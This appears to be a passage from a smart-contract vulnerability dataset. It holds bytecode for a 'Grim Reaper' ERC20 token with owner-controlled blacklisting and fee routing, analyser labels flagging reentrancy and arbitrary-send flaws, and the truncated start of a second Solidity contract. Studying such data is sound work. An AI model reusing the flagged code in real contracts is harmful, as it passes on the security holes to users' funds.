0fd5b5061049e6004803603810190610499919061321d565b61103f565b6040516104ab9190613178565b60405180910390f35b3480156104c057600080fd5b506104c9611088565b005b3480156104d757600080fd5b506104f260048036038101906104ed919061301c565b6111db565b005b34801561050057600080fd5b5061050961127a565b005b34801561051757600080fd5b506105206113e8565b60405161052d9190613178565b60405180910390f35b34801561054257600080fd5b5061054b6113f2565b6040516105589190613394565b60405180910390f35b34801561056d57600080fd5b5061057661141b565b60405161058391906130d1565b60405180910390f35b34801561059857600080fd5b506105a1611458565b005b3480156105af57600080fd5b506105ca60048036038101906105c591906130f3565b61182f565b6040516105d7919061314e565b60405180910390f35b3480156105ec57600080fd5b506106076004803603810190610602919061301c565b61184d565b005b34801561061557600080fd5b50610630600480360381019061062b919061321d565b6118fa565b60405161063d919061314e565b60405180910390f35b34801561065257600080fd5b5061065b61191a565b604051610668919061314e565b60405180910390f35b34801561067d57600080fd5b50610698600480360381019061069391906133af565b611931565b6040516106a59190613178565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d0919061301c565b6119b8565b005b3480156106e357600080fd5b506106fe60048036038101906106f9919061321d565b611a57565b005b34801561070c57600080fd5b506107276004803603810190610722919061341b565b611b47565b005b34801561073557600080fd5b5061073e611bf9565b60405161074b9190613178565b60405180910390f35b61075c611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e090613494565b60405180910390fd5b60005b815181101561087a5760016005600084848151811061080e5761080d6134b4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061087290613512565b9150506107ec565b5050565b610886611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090a90613494565b60405180910390fd5b8060088190555050565b60606040518060400160405280600b81526020017f4772696d20526561706572000000000000000000000000000000000000000000815250905090565b600061096e610967611cc7565b8484611ccf565b6001905092915050565b6000600654905090565b61098a611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0e90613494565b60405180910390fd5b80600a8190555050565b6000610a2e848484611e98565b610aef84610a3a611cc7565b610aea85604051806060016040528060288152602001613fc660289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610aa0611cc7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec9092919063ffffffff16565b611ccf565b600190509392505050565b60006008905090565b6000601260169054906101000a900460ff16905090565b610b22611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690613494565b60405180910390fd5b8060098190555050565b610bc1611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4590613494565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cb1611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3590613494565b60405180910390fd5b6010548111610d4c57600080fd5b8060108190555050565b610d5e611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290613494565b60405180910390fd5b60005b8251811015610f39576305f5e100828281518110610e0f57610e0e6134b4565b5b6020026020010151610e21919061355a565b60026000858481518110610e3857610e376134b4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610e9157610e906134b4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100858581518110610eff57610efe6134b4565b5b6020026020010151610f11919061355a565b604051610f1e9190613178565b60405180910390a38080610f3190613512565b915050610dee565b505050565b610f46611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca90613494565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600047905061103c81612550565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611090611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111490613494565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111e3611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790613494565b60405180910390fd5b80600b8190555050565b611282611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130690613494565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113583061103f565b6000806113636113f2565b426040518863ffffffff1660e01b8152600401611385969594939291906135f9565b60606040518083038185885af11580156113a3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113c8919061366f565b5050506001601260166101000a81548160ff021916908315150217905550565b6000600f54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4752494d00000000000000000000000000000000000000000000000000000000815250905090565b611460611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490613494565b60405180910390fd5b601260149054906101000a900460ff161561153d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115349061370e565b60405180910390fd5b61156c30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611ccf565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fd9190613743565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611686573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116aa9190613743565b6040518363ffffffff1660e01b81526004016116c7929190613770565b6020604051808303816000875af11580156116e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170a9190613743565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117e9929190613799565b6020604051808303816000875af1158015611808573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061182c91906137d7565b50565b600061184361183c611cc7565b8484611e98565b6001905092915050565b611855611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d990613494565b60405180910390fd5b600f5481116118f057600080fd5b80600f8190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b6000601260159054906101000a900460ff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119c0611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4490613494565b60405180910390fd5b8060078190555050565b611a5f611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae390613494565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b4f611cc7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd390613494565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b6000601054905090565b6000808303611c155760009050611c77565b60008284611c23919061355a565b9050828482611c329190613833565b14611c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c69906138d6565b60405180910390fd5b809150505b92915050565b6000611cbf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125bc565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3590613968565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da4906139fa565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e8b9190613178565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe90613a8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6d90613b1e565b60405180910390fd5b60008111611fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb090613bb0565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561205d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61209c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209390613c1c565b60405180910390fd5b6120a46113f2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561211257506120e26113f2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561242c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122185750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561230a57600f54811115612262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225990613c88565b60405180910390fd5b601260149054906101000a900460ff166122b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a890613cf4565b60405180910390fd5b601054816122be8461103f565b6122c89190613d14565b1115612309576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230090613db6565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123725761236761261f565b600881905550612381565b61237a612636565b6008819055505b600061238c3061103f565b9050601260159054906101000a900460ff161580156123f95750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156124115750601260169054906101000a900460ff165b1561242a576007548110612429576124288161264d565b5b5b505b6124e7838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124d35750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6124df576008546124e2565b60005b61277a565b505050565b6000838311158290612534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252b91906130d1565b60405180910390fd5b50600083856125439190613dd6565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125b8573d6000803e3d6000fd5b5050565b60008083118290612603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fa91906130d1565b60405180910390fd5b50600083856126129190613833565b9050809150509392505050565b6000600954600b546126319190613d14565b905090565b6000600a54600b546126489190613d14565b905090565b6001601260156101000a81548160ff02191690831515021790555060006126926064612684600c5485611c0390919063ffffffff16565b611c7d90919063ffffffff16565b905060006126a982846129e790919063ffffffff16565b905060006126c1600284611c7d90919063ffffffff16565b905060006126d882856129e790919063ffffffff16565b905060004790506126e883612a31565b60006126fd82476129e790919063ffffffff16565b90506127098184612c74565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405161273c93929190613e0a565b60405180910390a161274d85612a31565b61275685612550565b5050505050506000601260156101000a81548160ff02191690831515021790555050565b60006127a260646127948486611c0390919063ffffffff16565b611c7d90919063ffffffff16565b905060006127b982856129e790919063ffffffff16565b905061280d84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e790919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128a281600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293782600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129d79190613178565b60405180910390a3505050505050565b6000612a2983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124ec565b905092915050565b6000600267ffffffffffffffff811115612a4e57612a4d612dfc565b5b604051908082528060200260200182016040528015612a7c5781602001602082028036833780820191505090505b5090503081600081518110612a9457612a936134b4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b5f9190613743565b81600181518110612b7357612b726134b4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612bda30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ccf565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612c3e959493929190613eff565b600060405180830381600087803b158015612c5857600080fd5b505af1158015612c6c573d6000803e3d6000fd5b505050505050565b612ca130601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611ccf565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719833084600080612ced6113f2565b426040518863ffffffff1660e01b8152600401612d0f969594939291906135f9565b60606040518083038185885af1158015612d2d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d52919061366f565b5050506001601260166101000a81548160ff0219169083151502179055505050565b6000808284612d839190613d14565b905083811015612dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dbf90613fa5565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e3482612deb565b810181811067ffffffffffffffff82111715612e5357612e52612dfc565b5b80604052505050565b6000612e66612dd2565b9050612e728282612e2b565b919050565b600067ffffffffffffffff821115612e9257612e91612dfc565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ed382612ea8565b9050919050565b612ee381612ec8565b8114612eee57600080fd5b50565b600081359050612f0081612eda565b92915050565b6000612f19612f1484612e77565b612e5c565b90508083825260208201905060208402830185811115612f3c57612f3b612ea3565b5b835b81811015612f655780612f518882612ef1565b845260208401935050602081019050612f3e565b5050509392505050565b600082601f830112612f8457612f83612de6565b5b8135612f94848260208601612f06565b91505092915050565b600060208284031215612fb357612fb2612ddc565b5b600082013567ffffffffffffffff811115612fd157612fd0612de1565b5b612fdd84828501612f6f565b91505092915050565b6000819050919050565b612ff981612fe6565b811461300457600080fd5b50565b60008135905061301681612ff0565b92915050565b60006020828403121561303257613031612ddc565b5b600061304084828501613007565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613083578082015181840152602081019050613068565b83811115613092576000848401525b50505050565b60006130a382613049565b6130ad8185613054565b93506130bd818560208601613065565b6130c681612deb565b840191505092915050565b600060208201905081810360008301526130eb8184613098565b905092915050565b6000806040838503121561310a57613109612ddc565b5b600061311885828601612ef1565b925050602061312985828601613007565b9150509250929050565b60008115159050919050565b61314881613133565b82525050565b6000602082019050613163600083018461313f565b92915050565b61317281612fe6565b82525050565b600060208201905061318d6000830184613169565b92915050565b6000806000606084860312156131ac576131ab612ddc565b5b60006131ba86828701612ef1565b93505060206131cb86828701612ef1565b92505060406131dc86828701613007565b9150509250925092565b600060ff82169050919050565b6131fc816131e6565b82525050565b600060208201905061321760008301846131f3565b92915050565b60006020828403121561323357613232612ddc565b5b600061324184828501612ef1565b91505092915050565b600067ffffffffffffffff82111561326557613264612dfc565b5b602082029050602081019050919050565b60006132896132848461324a565b612e5c565b905080838252602082019050602084028301858111156132ac576132ab612ea3565b5b835b818110156132d557806132c18882613007565b8452602084019350506020810190506132ae565b5050509392505050565b600082601f8301126132f4576132f3612de6565b5b8135613304848260208601613276565b91505092915050565b6000806040838503121561332457613323612ddc565b5b600083013567ffffffffffffffff81111561334257613341612de1565b5b61334e85828601612f6f565b925050602083013567ffffffffffffffff81111561336f5761336e612de1565b5b61337b858286016132df565b9150509250929050565b61338e81612ec8565b82525050565b60006020820190506133a96000830184613385565b92915050565b600080604083850312156133c6576133c5612ddc565b5b60006133d485828601612ef1565b92505060206133e585828601612ef1565b9150509250929050565b6133f881613133565b811461340357600080fd5b50565b600081359050613415816133ef565b92915050565b60006020828403121561343157613430612ddc565b5b600061343f84828501613406565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061347e602083613054565b915061348982613448565b602082019050919050565b600060208201905081810360008301526134ad81613471565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061351d82612fe6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361354f5761354e6134e3565b5b600182019050919050565b600061356582612fe6565b915061357083612fe6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135a9576135a86134e3565b5b828202905092915050565b6000819050919050565b6000819050919050565b60006135e36135de6135d9846135b4565b6135be565b612fe6565b9050919050565b6135f3816135c8565b82525050565b600060c08201905061360e6000830189613385565b61361b6020830188613169565b61362860408301876135ea565b61363560608301866135ea565b6136426080830185613385565b61364f60a0830184613169565b979650505050505050565b60008151905061366981612ff0565b92915050565b60008060006060848603121561368857613687612ddc565b5b60006136968682870161365a565b93505060206136a78682870161365a565b92505060406136b88682870161365a565b9150509250925092565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006136f8601783613054565b9150613703826136c2565b602082019050919050565b60006020820190508181036000830152613727816136eb565b9050919050565b60008151905061373d81612eda565b92915050565b60006020828403121561375957613758612ddc565b5b60006137678482850161372e565b91505092915050565b60006040820190506137856000830185613385565b6137926020830184613385565b9392505050565b60006040820190506137ae6000830185613385565b6137bb6020830184613169565b9392505050565b6000815190506137d1816133ef565b92915050565b6000602082840312156137ed576137ec612ddc565b5b60006137fb848285016137c2565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061383e82612fe6565b915061384983612fe6565b92508261385957613858613804565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138c0602183613054565b91506138cb82613864565b604082019050919050565b600060208201905081810360008301526138ef816138b3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613952602483613054565b915061395d826138f6565b604082019050919050565b6000602082019050818103600083015261398181613945565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006139e4602283613054565b91506139ef82613988565b604082019050919050565b60006020820190508181036000830152613a13816139d7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a76602583613054565b9150613a8182613a1a565b604082019050919050565b60006020820190508181036000830152613aa581613a69565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b08602383613054565b9150613b1382613aac565b604082019050919050565b60006020820190508181036000830152613b3781613afb565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613b9a602983613054565b9150613ba582613b3e565b604082019050919050565b60006020820190508181036000830152613bc981613b8d565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b6000613c06601b83613054565b9150613c1182613bd0565b602082019050919050565b60006020820190508181036000830152613c3581613bf9565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000613c72601a83613054565b9150613c7d82613c3c565b602082019050919050565b60006020820190508181036000830152613ca181613c65565b9050919050565b7f54726164696e67206e6f74207374617274656400000000000000000000000000600082015250565b6000613cde601383613054565b9150613ce982613ca8565b602082019050919050565b60006020820190508181036000830152613d0d81613cd1565b9050919050565b6000613d1f82612fe6565b9150613d2a83612fe6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d5f57613d5e6134e3565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b6000613da0601c83613054565b9150613dab82613d6a565b602082019050919050565b60006020820190508181036000830152613dcf81613d93565b9050919050565b6000613de182612fe6565b9150613dec83612fe6565b925082821015613dff57613dfe6134e3565b5b828203905092915050565b6000606082019050613e1f6000830186613169565b613e2c6020830185613169565b613e396040830184613169565b949350505050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e7681612ec8565b82525050565b6000613e888383613e6d565b60208301905092915050565b6000602082019050919050565b6000613eac82613e41565b613eb68185613e4c565b9350613ec183613e5d565b8060005b83811015613ef2578151613ed98882613e7c565b9750613ee483613e94565b925050600181019050613ec5565b5085935050505092915050565b600060a082019050613f146000830188613169565b613f2160208301876135ea565b8181036040830152613f338186613ea1565b9050613f426060830185613385565b613f4f6080830184613169565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613f8f601b83613054565b9150613f9a82613f59565b602082019050919050565b60006020820190508181036000830152613fbe81613f82565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220971a7398ac1d4e53fbf924572b6bfaa40ab7aab997a7ebb9ffa438b1528da3b964736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,450
0xffd4e8a619d5fce622dd5b2e8c0a6b0f54ca93e8
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC721 interface * @dev see https://github.com/ethereum/eips/issues/721 */ contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); function balanceOf(address 